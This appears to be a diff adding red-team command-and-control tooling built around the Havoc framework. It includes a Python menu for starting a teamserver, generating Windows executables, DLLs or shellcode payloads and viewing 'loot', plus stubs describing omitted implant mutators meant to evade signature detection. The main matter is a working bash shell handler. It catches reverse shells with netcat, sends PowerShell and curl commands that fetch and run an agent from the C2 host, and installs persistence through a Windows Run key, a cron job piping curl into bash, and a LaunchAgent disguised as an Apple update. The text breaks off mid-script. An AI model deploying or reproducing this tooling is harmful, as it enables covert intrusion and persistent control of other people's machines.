print(f"\n{COLORS['CYAN']}Starting Chaos teamserver with profile: {os.path.basename(profile)}{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['GRAY']}Press Ctrl+C to stop{COLORS['RESET']}\n")
|
||||||
|
try:
|
||||||
|
subprocess.run([TEAMSERVER, '-p', profile], cwd=CHAOS_PATH)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print(f"\n{COLORS['YELLOW']}Teamserver stopped by user{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
|
||||||
|
def _stop_teamserver():
|
||||||
|
"""Find and kill the teamserver process."""
|
||||||
|
print(f"\n{COLORS['CYAN']}Looking for running teamserver process...{COLORS['RESET']}")
|
||||||
|
result = subprocess.run(
|
||||||
|
['pgrep', '-f', 'teamserver'],
|
||||||
|
capture_output=True, text=True
|
||||||
|
)
|
||||||
|
pids = result.stdout.strip().splitlines()
|
||||||
|
|
||||||
|
if not pids:
|
||||||
|
print(f"{COLORS['YELLOW']}No teamserver process found{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
print(f" Found PID(s): {', '.join(pids)}")
|
||||||
|
confirm = input(f" {COLORS['YELLOW']}Kill these processes? (y/N): {COLORS['RESET']}").strip().lower()
|
||||||
|
if confirm != 'y':
|
||||||
|
print(f"{COLORS['GREEN']}Cancelled{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
for pid in pids:
|
||||||
|
kill_result = subprocess.run(['kill', pid], capture_output=True, text=True)
|
||||||
|
if kill_result.returncode == 0:
|
||||||
|
print(f" {COLORS['GREEN']}Killed PID {pid}{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(f" {COLORS['RED']}Failed to kill PID {pid}: {kill_result.stderr.strip()}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
|
||||||
|
def _show_status():
|
||||||
|
"""Check if teamserver is running, show WS path and active profile."""
|
||||||
|
print(f"\n{COLORS['CYAN']}Chaos C2 Status{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}==============={COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Check for running process
|
||||||
|
result = subprocess.run(['pgrep', '-a', '-f', 'teamserver'], capture_output=True, text=True)
|
||||||
|
if result.stdout.strip():
|
||||||
|
print(f" Teamserver: {COLORS['GREEN']}RUNNING{COLORS['RESET']}")
|
||||||
|
for line in result.stdout.strip().splitlines():
|
||||||
|
print(f" {COLORS['GRAY']}{line}{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(f" Teamserver: {COLORS['RED']}NOT RUNNING{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Show WS path
|
||||||
|
if os.path.exists(WS_PATH_FILE):
|
||||||
|
with open(WS_PATH_FILE) as f:
|
||||||
|
ws_path = f.read().strip()
|
||||||
|
print(f" WS Path: {COLORS['CYAN']}{ws_path}{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(f" WS Path: {COLORS['GRAY']}(not set){COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Show install dir
|
||||||
|
if os.path.isdir(CHAOS_PATH):
|
||||||
|
print(f" Install: {COLORS['GREEN']}{CHAOS_PATH}{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(f" Install: {COLORS['RED']}NOT FOUND — {CHAOS_PATH}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
# Show available profiles
|
||||||
|
if os.path.isdir(PROFILES_DIR):
|
||||||
|
profiles = []
|
||||||
|
for ext in ('*.toml', '*.yaotl', '*.yaml', '*.yml'):
|
||||||
|
profiles.extend(glob.glob(os.path.join(PROFILES_DIR, ext)))
|
||||||
|
if profiles:
|
||||||
|
print(f" Profiles:")
|
||||||
|
for p in sorted(profiles):
|
||||||
|
print(f" {COLORS['GRAY']}{os.path.basename(p)}{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(f" Profiles: {COLORS['YELLOW']}none found in {PROFILES_DIR}{COLORS['RESET']}")
|
||||||
|
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
|
||||||
|
def _generate_payload():
|
||||||
|
"""Interactive payload generation: listener profile, arch, format, output path."""
|
||||||
|
if not os.path.exists(TEAMSERVER):
|
||||||
|
print(f"\n{COLORS['RED']}teamserver not found — build Chaos first{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
print(f"\n{COLORS['CYAN']}Payload Generation{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}=================={COLORS['RESET']}")
|
||||||
|
|
||||||
|
profile = _select_profile("Select listener profile for payload")
|
||||||
|
if not profile:
|
||||||
|
print(f"{COLORS['YELLOW']}No profile selected — aborting{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
print(f"\n Architecture:")
|
||||||
|
print(f" 1) x86_64 (64-bit)")
|
||||||
|
print(f" 2) x86 (32-bit)")
|
||||||
|
arch_choice = input(f" Select [1]: ").strip() or '1'
|
||||||
|
arch = 'x86_64' if arch_choice != '2' else 'x86'
|
||||||
|
|
||||||
|
print(f"\n Format:")
|
||||||
|
print(f" 1) exe (Windows executable)")
|
||||||
|
print(f" 2) dll (Windows DLL)")
|
||||||
|
print(f" 3) bin (raw shellcode)")
|
||||||
|
fmt_choice = input(f" Select [1]: ").strip() or '1'
|
||||||
|
fmt_map = {'1': 'exe', '2': 'dll', '3': 'bin'}
|
||||||
|
fmt = fmt_map.get(fmt_choice, 'exe')
|
||||||
|
|
||||||
|
default_out = os.path.join(CHAOS_PATH, 'payloads', f'payload_{arch}.{fmt}')
|
||||||
|
out_path = input(f"\n Output path [{COLORS['CYAN']}{default_out}{COLORS['RESET']}]: ").strip() or default_out
|
||||||
|
|
||||||
|
os.makedirs(os.path.dirname(out_path), exist_ok=True)
|
||||||
|
|
||||||
|
print(f"\n{COLORS['CYAN']}Generating payload...{COLORS['RESET']}")
|
||||||
|
cmd = [TEAMSERVER, 'generate', '--profile', profile,
|
||||||
|
'--arch', arch, '--format', fmt, '--output', out_path]
|
||||||
|
try:
|
||||||
|
result = subprocess.run(cmd, cwd=CHAOS_PATH, capture_output=True, text=True)
|
||||||
|
if result.stdout:
|
||||||
|
print(result.stdout)
|
||||||
|
if result.stderr:
|
||||||
|
print(result.stderr)
|
||||||
|
if result.returncode == 0:
|
||||||
|
print(f"{COLORS['GREEN']}Payload written to: {out_path}{COLORS['RESET']}")
|
||||||
|
else:
|
||||||
|
print(f"{COLORS['RED']}Payload generation failed (rc={result.returncode}){COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['YELLOW']}Note: 'generate' subcommand may differ in your build — check teamserver --help{COLORS['RESET']}")
|
||||||
|
except FileNotFoundError:
|
||||||
|
print(f"{COLORS['RED']}teamserver binary not executable — did the build complete?{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
|
||||||
|
def _view_loot():
|
||||||
|
"""Tail structured JSON logs from data/logs/."""
|
||||||
|
if not os.path.isdir(LOGS_DIR):
|
||||||
|
print(f"\n{COLORS['YELLOW']}Logs directory not found: {LOGS_DIR}{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['GRAY']}Logs will appear here after the teamserver has been started{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
log_files = sorted(glob.glob(os.path.join(LOGS_DIR, '*.json')) +
|
||||||
|
glob.glob(os.path.join(LOGS_DIR, '*.log')))
|
||||||
|
|
||||||
|
if not log_files:
|
||||||
|
print(f"\n{COLORS['YELLOW']}No log files found in {LOGS_DIR}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
return
|
||||||
|
|
||||||
|
print(f"\n{COLORS['CYAN']}Available log files:{COLORS['RESET']}")
|
||||||
|
for i, lf in enumerate(log_files, 1):
|
||||||
|
size = os.path.getsize(lf)
|
||||||
|
print(f" {i}) {os.path.basename(lf)} ({size} bytes)")
|
||||||
|
|
||||||
|
raw = input(f"\n Select log to tail [1]: ").strip() or '1'
|
||||||
|
try:
|
||||||
|
idx = int(raw) - 1
|
||||||
|
if 0 <= idx < len(log_files):
|
||||||
|
chosen = log_files[idx]
|
||||||
|
else:
|
||||||
|
chosen = log_files[0]
|
||||||
|
except ValueError:
|
||||||
|
chosen = log_files[0]
|
||||||
|
|
||||||
|
lines_raw = input(f" Lines to show [{COLORS['CYAN']}50{COLORS['RESET']}]: ").strip() or '50'
|
||||||
|
try:
|
||||||
|
lines = int(lines_raw)
|
||||||
|
except ValueError:
|
||||||
|
lines = 50
|
||||||
|
|
||||||
|
print(f"\n{COLORS['CYAN']}--- {os.path.basename(chosen)} (last {lines} lines) ---{COLORS['RESET']}\n")
|
||||||
|
try:
|
||||||
|
result = subprocess.run(['tail', '-n', str(lines), chosen],
|
||||||
|
capture_output=True, text=True)
|
||||||
|
print(result.stdout)
|
||||||
|
except Exception as e:
|
||||||
|
print(f"{COLORS['RED']}Error reading log: {e}{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
|
|
||||||
|
|
||||||
|
# ─── Main menu ────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def chaos_menu():
|
||||||
|
"""Main entry point — called from c2itall deploy.py tools_menu()."""
|
||||||
|
while True:
|
||||||
|
clear_screen()
|
||||||
|
print_banner()
|
||||||
|
print(f"{COLORS['WHITE']}CHAOS C2{COLORS['RESET']}")
|
||||||
|
print(f"{COLORS['WHITE']}========{COLORS['RESET']}")
|
||||||
|
print(f" Havoc-based C2 framework")
|
||||||
|
|
||||||
|
# Show whether source is available
|
||||||
|
if os.path.isdir(CHAOS_PATH):
|
||||||
|
ts_label = (f"{COLORS['GREEN']}built{COLORS['RESET']}"
|
||||||
|
if os.path.exists(TEAMSERVER)
|
||||||
|
else f"{COLORS['YELLOW']}not built{COLORS['RESET']}")
|
||||||
|
print(f" Source: {COLORS['GREEN']}{CHAOS_PATH}{COLORS['RESET']} (teamserver: {ts_label})")
|
||||||
|
else:
|
||||||
|
print(f" Source: {COLORS['RED']}NOT FOUND — {CHAOS_PATH}{COLORS['RESET']}")
|
||||||
|
print()
|
||||||
|
|
||||||
|
print(f"1) Deploy Chaos {COLORS['CYAN']}(local — runs Install.sh){COLORS['RESET']}")
|
||||||
|
print(f"2) Deploy Chaos {COLORS['CYAN']}(remote SSH — SCP + install){COLORS['RESET']}")
|
||||||
|
print(f"3) Start Teamserver")
|
||||||
|
print(f"4) Stop Teamserver")
|
||||||
|
print(f"5) Show Status")
|
||||||
|
print(f"6) Generate Payload")
|
||||||
|
print(f"7) View Loot {COLORS['GRAY']}(tail data/logs/){COLORS['RESET']}")
|
||||||
|
print(f"99) Return to Tools Menu")
|
||||||
|
|
||||||
|
choice = input(f"\nSelect an option: ").strip()
|
||||||
|
|
||||||
|
if choice == '1':
|
||||||
|
_deploy_local()
|
||||||
|
elif choice == '2':
|
||||||
|
_deploy_remote()
|
||||||
|
elif choice == '3':
|
||||||
|
_start_teamserver()
|
||||||
|
elif choice == '4':
|
||||||
|
_stop_teamserver()
|
||||||
|
elif choice == '5':
|
||||||
|
_show_status()
|
||||||
|
elif choice == '6':
|
||||||
|
_generate_payload()
|
||||||
|
elif choice == '7':
|
||||||
|
_view_loot()
|
||||||
|
elif choice == '99':
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||||
|
wait_for_input()
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# OMITTED — Havoc C2 framework installer
|
||||||
|
#
|
||||||
|
# Installs Havoc C2 teamserver and client from source, configures systemd service,
|
||||||
|
# sets up operator accounts, and applies hardening (non-default ports, TLS certs,
|
||||||
|
# firewall rules restricting access to redirector IPs only).
|
||||||
|
#
|
||||||
|
# Omitted from public release. Present in operational deployments.
|
||||||
|
echo "[!] Havoc installer not included in public release."
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# OMITTED — Havoc profile mutation script
|
||||||
|
#
|
||||||
|
# Generates a randomized Havoc teamserver profile (.yaotl) for each engagement.
|
||||||
|
# Randomizes sleep jitter, kill dates, working hours, and C2 profile fields.
|
||||||
|
# Feeds output directly into the teamserver configuration pipeline.
|
||||||
|
#
|
||||||
|
# Omitted from public release. Present in operational deployments.
|
||||||
|
echo "[!] Havoc profile mutator not included in public release."
|
||||||
@@ -0,0 +1,218 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# Automated shell handler for catching and upgrading shells to Havoc C2 agents
|
||||||
|
|
||||||
|
# Configuration
|
||||||
|
LISTEN_PORT=4488
|
||||||
|
C2_HOST="127.0.0.1" # This will be replaced by Ansible with actual C2 IP
|
||||||
|
HAVOC_PORT=40056 # Havoc default Teamserver port
|
||||||
|
HAVOC_USER="admin"
|
||||||
|
HAVOC_DIR="/root/Tools/Havoc"
|
||||||
|
WINDOWS_PAYLOAD="windows/agent_win.exe"
|
||||||
|
LINUX_PAYLOAD="linux/agent_linux"
|
||||||
|
|
||||||
|
# Set secure permissions
|
||||||
|
umask 077
|
||||||
|
|
||||||
|
# Logging function (minimal and encrypted)
|
||||||
|
log() {
|
||||||
|
local timestamp=$(date +"%Y-%m-%d %H:%M:%S")
|
||||||
|
local message="$1"
|
||||||
|
echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /root/Tools/shell-handler/activity.log.enc
|
||||||
|
}
|
||||||
|
|
||||||
|
# Detect OS function
|
||||||
|
detect_os() {
|
||||||
|
local connection=$1
|
||||||
|
|
||||||
|
# Send commands to determine OS
|
||||||
|
echo "echo \$OSTYPE" > $connection
|
||||||
|
sleep 1
|
||||||
|
ostype=$(cat $connection | grep -i "linux\|darwin\|win")
|
||||||
|
|
||||||
|
if [[ $ostype == *"win"* ]]; then
|
||||||
|
echo "windows"
|
||||||
|
elif [[ $ostype == *"darwin"* ]]; then
|
||||||
|
echo "macos"
|
||||||
|
elif [[ $ostype == *"linux"* ]]; then
|
||||||
|
echo "linux"
|
||||||
|
else
|
||||||
|
# Try Windows-specific command
|
||||||
|
echo "ver" > $connection
|
||||||
|
sleep 1
|
||||||
|
winver=$(cat $connection | grep -i "microsoft windows")
|
||||||
|
|
||||||
|
if [[ -n "$winver" ]]; then
|
||||||
|
echo "windows"
|
||||||
|
else
|
||||||
|
# Default to Linux if we can't determine
|
||||||
|
echo "linux"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Get Havoc password
|
||||||
|
get_havoc_password() {
|
||||||
|
# Extract password from Havoc profile
|
||||||
|
HAVOC_PASS=$(grep 'Password' $HAVOC_DIR/data/profiles/default.yaotl | cut -d'"' -f2)
|
||||||
|
echo $HAVOC_PASS
|
||||||
|
}
|
||||||
|
|
||||||
|
# Deploy appropriate Havoc agent based on OS
|
||||||
|
deploy_agent() {
|
||||||
|
local connection=$1
|
||||||
|
local os_type=$2
|
||||||
|
|
||||||
|
log "Deploying Havoc agent for detected OS: $os_type"
|
||||||
|
|
||||||
|
# Get the latest payload paths from manifest
|
||||||
|
local manifest="/root/Tools/Havoc/payloads/manifest.json"
|
||||||
|
if [ -f "$manifest" ]; then
|
||||||
|
if [ "$os_type" == "windows" ]; then
|
||||||
|
WIN_EXE=$(jq -r '.windows_exe' "$manifest")
|
||||||
|
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/$WIN_EXE"
|
||||||
|
elif [ "$os_type" == "linux" ]; then
|
||||||
|
LINUX_BIN=$(jq -r '.linux_binary' "$manifest")
|
||||||
|
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/$LINUX_BIN"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
# Use default paths if manifest doesn't exist
|
||||||
|
if [ "$os_type" == "windows" ]; then
|
||||||
|
PAYLOAD_PATH="/root/Tools/Havoc/payloads/windows/agent_win.exe"
|
||||||
|
elif [ "$os_type" == "linux" ]; then
|
||||||
|
PAYLOAD_PATH="/root/Tools/Havoc/payloads/linux/agent_linux"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
case $os_type in
|
||||||
|
windows)
|
||||||
|
# Setup Python HTTP server for payload delivery
|
||||||
|
mkdir -p /tmp/havoc_payloads
|
||||||
|
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update.exe
|
||||||
|
cd /tmp/havoc_payloads
|
||||||
|
python3 -m http.server 8888 &
|
||||||
|
HTTP_PID=$!
|
||||||
|
|
||||||
|
# Use PowerShell to download and execute
|
||||||
|
echo "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12; (New-Object System.Net.WebClient).DownloadFile('http://$C2_HOST:8888/update.exe', \$env:TEMP+'\\update.exe'); Start-Process \$env:TEMP+'\\update.exe'" > $connection
|
||||||
|
sleep 10
|
||||||
|
|
||||||
|
# Cleanup HTTP server
|
||||||
|
kill $HTTP_PID
|
||||||
|
;;
|
||||||
|
linux)
|
||||||
|
# Setup Python HTTP server for payload delivery
|
||||||
|
mkdir -p /tmp/havoc_payloads
|
||||||
|
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
|
||||||
|
chmod +x /tmp/havoc_payloads/update
|
||||||
|
cd /tmp/havoc_payloads
|
||||||
|
python3 -m http.server 8888 &
|
||||||
|
HTTP_PID=$!
|
||||||
|
|
||||||
|
# Use curl to download and execute
|
||||||
|
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
|
||||||
|
sleep 10
|
||||||
|
|
||||||
|
# Cleanup HTTP server
|
||||||
|
kill $HTTP_PID
|
||||||
|
;;
|
||||||
|
macos)
|
||||||
|
# For macOS, we'll attempt to use the Linux payload
|
||||||
|
mkdir -p /tmp/havoc_payloads
|
||||||
|
cp "$PAYLOAD_PATH" /tmp/havoc_payloads/update
|
||||||
|
chmod +x /tmp/havoc_payloads/update
|
||||||
|
cd /tmp/havoc_payloads
|
||||||
|
python3 -m http.server 8888 &
|
||||||
|
HTTP_PID=$!
|
||||||
|
|
||||||
|
# Use curl to download and execute
|
||||||
|
echo "curl -s http://$C2_HOST:8888/update -o /tmp/update && chmod +x /tmp/update && /tmp/update &" > $connection
|
||||||
|
sleep 10
|
||||||
|
|
||||||
|
# Cleanup HTTP server
|
||||||
|
kill $HTTP_PID
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
log "Havoc agent deployment command sent"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Establish persistence based on OS
|
||||||
|
establish_persistence() {
|
||||||
|
local connection=$1
|
||||||
|
local os_type=$2
|
||||||
|
|
||||||
|
log "Attempting to establish persistence on $os_type"
|
||||||
|
|
||||||
|
case $os_type in
|
||||||
|
windows)
|
||||||
|
# Windows persistence via registry run key
|
||||||
|
echo "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d %TEMP%\\update.exe /f" > $connection
|
||||||
|
;;
|
||||||
|
linux)
|
||||||
|
# Linux persistence via crontab
|
||||||
|
echo "(crontab -l 2>/dev/null; echo '*/15 * * * * curl -s http://$C2_HOST:8443/linux_stager.sh | bash') | crontab -" > $connection
|
||||||
|
;;
|
||||||
|
macos)
|
||||||
|
# macOS persistence via launch agent
|
||||||
|
echo "mkdir -p ~/Library/LaunchAgents" > $connection
|
||||||
|
echo "echo '<plist version=\"1.0\"><dict><key>Label</key><string>com.apple.software.update</string><key>ProgramArguments</key><array><string>bash</string><string>-c</string><string>curl -s http://$C2_HOST:8443/linux_stager.sh | bash</string></array><key>RunAtLoad</key><true/><key>StartInterval</key><integer>900</integer></dict></plist>' > ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||||
|
echo "launchctl load ~/Library/LaunchAgents/com.apple.software.update.plist" > $connection
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
log "Persistence commands sent for $os_type"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Main shell handler loop
|
||||||
|
handle_connections() {
|
||||||
|
log "Shell handler started on port $LISTEN_PORT"
|
||||||
|
|
||||||
|
# Use mkfifo for bidirectional communication
|
||||||
|
PIPE_PATH="/tmp/shell_handler_pipe"
|
||||||
|
trap 'rm -f $PIPE_PATH' EXIT
|
||||||
|
|
||||||
|
while true; do
|
||||||
|
# Clean up existing pipe
|
||||||
|
rm -f $PIPE_PATH
|
||||||
|
mkfifo $PIPE_PATH
|
||||||
|
|
||||||
|
log "Waiting for incoming connection..."
|
||||||
|
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
|
||||||
|
NC_PID=$!
|
||||||
|
|
||||||
|
# Wait for connection to be established
|
||||||
|
while ! grep -q . $PIPE_PATH.output 2>/dev/null; do
|
||||||
|
sleep 1
|
||||||
|
# Check if nc is still running
|
||||||
|
if ! kill -0 $NC_PID 2>/dev/null; then
|
||||||
|
log "Netcat process died, restarting..."
|
||||||
|
rm -f $PIPE_PATH $PIPE_PATH.output
|
||||||
|
continue 2 # Restart the outer loop
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
log "Connection received, detecting OS..."
|
||||||
|
DETECTED_OS=$(detect_os "$PIPE_PATH.output")
|
||||||
|
log "Detected OS: $DETECTED_OS"
|
||||||
|
|
||||||
|
# Deploy Havoc agent
|
||||||
|
deploy_agent "$PIPE_PATH" "$DETECTED_OS"
|
||||||
|
sleep 5
|
||||||
|
|
||||||
|
# Establish persistence
|
||||||
|
establish_persistence "$PIPE_PATH" "$DETECTED_OS"
|
||||||
|
sleep 5
|
||||||
|
|
||||||
|
# Keep connection alive for manual operation if needed
|
||||||
|
log "Havoc agent deployed, maintaining shell connection..."
|
||||||
|
echo "echo 'Shell upgraded to Havoc agent. This connection will remain active for manual operation.'" > $PIPE_PATH
|
||||||
|
|
||||||
|
# Wait for connection to close
|
||||||
|
wait $NC_PID
|
||||||
|
log "Connection closed, cleaning up and restarting listener..."
|
||||||
|
rm -f $PIPE_PATH.output
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
# Start the shell handler
|
||||||
|
handle_connections
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# OMITTED — implant mutation script
|
||||||
|
#
|
||||||
|
# Randomizes Havoc Demon source identifiers (User-Agent, URI paths, named pipe
|
||||||
|
# names, mutex strings) before each compile to defeat signature-based detection.
|
||||||
|
# Patches TransportHttp.c, Config.c, and the build Makefile in-place, compiles
|
||||||
|
# a fresh shellcode blob, and backs up the previous payload with a timestamp.
|
||||||
|
#
|
||||||
|
# Omitted from public release. Present in operational deployments.
|
||||||
|
echo "[!] Implant mutator not included in public release."
|
||||||
@@ -0,0 +1,302 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
# post_install_c2.sh - Post-installation setup for C2 server
|
||||||
|
|
||||||
|
# ANSI color codes
|
||||||
|
GREEN='\033[0;32m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
RED='\033[0;31m'
|
||||||
|
BLUE='\033[0;34m'
|
||||||
|
NC='\033[0m' # No Color
|
||||||
|
|
||||||
|
# Default settings
|
||||||
|
DEBUG=false
|
||||||
|
RUN_ON_REDIRECTOR=false
|
||||||
|
|
||||||
|
# Show usage information
|
||||||
|
function show_usage() {
|
||||||
|
echo "Usage: $0 [options]"
|
||||||
|
echo ""
|
||||||
|
echo "Options:"
|
||||||
|
echo " -d, --debug Enable debug/verbose output"
|
||||||
|
echo " -r, --run-on-redirector Run post-install script on redirector"
|
||||||
|
echo " -h, --help Show this help message"
|
||||||
|
echo ""
|
||||||
|
}
|
||||||
|
|
||||||
|
# Process command line arguments
|
||||||
|
while [[ $# -gt 0 ]]; do
|
||||||
|
case $1 in
|
||||||
|
-d|--debug)
|
||||||
|
DEBUG=true
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
-r|--run-on-redirector)
|
||||||
|
RUN_ON_REDIRECTOR=true
|
||||||
|
shift
|
||||||
|
;;
|
||||||
|
-h|--help)
|
||||||
|
show_usage
|
||||||
|
exit 0
|
||||||
|
;;
|
||||||
|
*)
|
||||||
|
echo "Unknown option: $1"
|
||||||
|
show_usage
|
||||||
|
exit 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
done
|
||||||
|
|
||||||
|
# Debug function - only prints if DEBUG is true
|
||||||
|
function debug() {
|
||||||
|
if [ "$DEBUG" = true ]; then
|
||||||
|
echo -e "${BLUE}[DEBUG] $1${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
echo -e "${BLUE}==================================================${NC}"
|
||||||
|
echo -e "${BLUE} C2ingRed Post-Installation Setup - C2 Server ${NC}"
|
||||||
|
echo -e "${BLUE}==================================================${NC}"
|
||||||
|
|
||||||
|
# Function to check if domain resolves to current IP
|
||||||
|
check_dns() {
|
||||||
|
domain=$1
|
||||||
|
current_ip=$(curl -s ifconfig.me)
|
||||||
|
resolved_ip=$(dig +short $domain)
|
||||||
|
|
||||||
|
debug "Checking DNS for $domain"
|
||||||
|
debug "Current IP: $current_ip"
|
||||||
|
debug "Resolved IP: $resolved_ip"
|
||||||
|
|
||||||
|
if [ "$resolved_ip" = "$current_ip" ]; then
|
||||||
|
echo -e "${GREEN}DNS check passed for $domain!${NC}"
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
echo -e "${YELLOW}DNS check failed for $domain${NC}"
|
||||||
|
echo -e "Current IP: $current_ip"
|
||||||
|
echo -e "Resolved IP: $resolved_ip or not set"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to set up Let's Encrypt
|
||||||
|
setup_letsencrypt() {
|
||||||
|
domain=$1
|
||||||
|
email=$2
|
||||||
|
|
||||||
|
echo -e "\n${BLUE}Setting up Let's Encrypt for $domain${NC}"
|
||||||
|
debug "Domain: $domain, Email: $email"
|
||||||
|
|
||||||
|
# Stop Havoc service temporarily to free port 80
|
||||||
|
systemctl stop havoc 2>/dev/null
|
||||||
|
debug "Stopped Havoc service"
|
||||||
|
|
||||||
|
# Get certificate
|
||||||
|
debug "Running certbot to obtain certificate"
|
||||||
|
if [ "$DEBUG" = true ]; then
|
||||||
|
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive
|
||||||
|
else
|
||||||
|
certbot certonly --standalone -d $domain -m $email --agree-tos --non-interactive >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
|
||||||
|
cert_result=$?
|
||||||
|
debug "Certbot result code: $cert_result"
|
||||||
|
|
||||||
|
if [ $cert_result -eq 0 ]; then
|
||||||
|
echo -e "${GREEN}Successfully obtained certificate for $domain${NC}"
|
||||||
|
|
||||||
|
# Configure applications to use the certificate if needed
|
||||||
|
if [ -f "/etc/postfix/main.cf" ]; then
|
||||||
|
debug "Updating Postfix configuration with new certificate"
|
||||||
|
sed -i "s|^smtpd_tls_cert_file =.*|smtpd_tls_cert_file = /etc/letsencrypt/live/$domain/fullchain.pem|" /etc/postfix/main.cf
|
||||||
|
sed -i "s|^smtpd_tls_key_file =.*|smtpd_tls_key_file = /etc/letsencrypt/live/$domain/privkey.pem|" /etc/postfix/main.cf
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Restart Havoc
|
||||||
|
debug "Restarting Havoc service"
|
||||||
|
systemctl start havoc
|
||||||
|
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
echo -e "${RED}Failed to obtain certificate for $domain${NC}"
|
||||||
|
|
||||||
|
# Restart Havoc
|
||||||
|
debug "Restarting Havoc service"
|
||||||
|
systemctl start havoc
|
||||||
|
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to display DKIM/DMARC records
|
||||||
|
show_dns_records() {
|
||||||
|
domain=$1
|
||||||
|
|
||||||
|
debug "Showing DNS records for $domain"
|
||||||
|
|
||||||
|
if [ -f "/etc/opendkim/keys/$domain/mail.txt" ]; then
|
||||||
|
echo -e "\n${BLUE}DKIM DNS Record Information for $domain${NC}"
|
||||||
|
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
|
||||||
|
echo -e "${GREEN}=================================================${NC}"
|
||||||
|
echo -e "Name: mail._domainkey.$domain"
|
||||||
|
echo -e "Value:"
|
||||||
|
cat /etc/opendkim/keys/$domain/mail.txt | grep -v "^;" | tr -d '\n'
|
||||||
|
echo -e "\n${GREEN}=================================================${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo -e "\n${BLUE}DMARC Record Recommendation for $domain${NC}"
|
||||||
|
echo -e "${YELLOW}Add the following TXT record to your DNS:${NC}"
|
||||||
|
echo -e "${GREEN}=================================================${NC}"
|
||||||
|
echo -e "Name: _dmarc.$domain"
|
||||||
|
echo -e "Value: v=DMARC1; p=reject; rua=mailto:admin@$domain; ruf=mailto:admin@$domain; pct=100"
|
||||||
|
echo -e "${GREEN}=================================================${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Function to test redirector connection
|
||||||
|
test_redirector() {
|
||||||
|
# Check if SSH to redirector is configured
|
||||||
|
debug "Testing redirector connection"
|
||||||
|
|
||||||
|
if [ -f "/root/.ssh/config" ] && grep -q "Host redirector" /root/.ssh/config; then
|
||||||
|
echo -e "\n${BLUE}Testing SSH connection to redirector...${NC}"
|
||||||
|
if [ "$DEBUG" = true ]; then
|
||||||
|
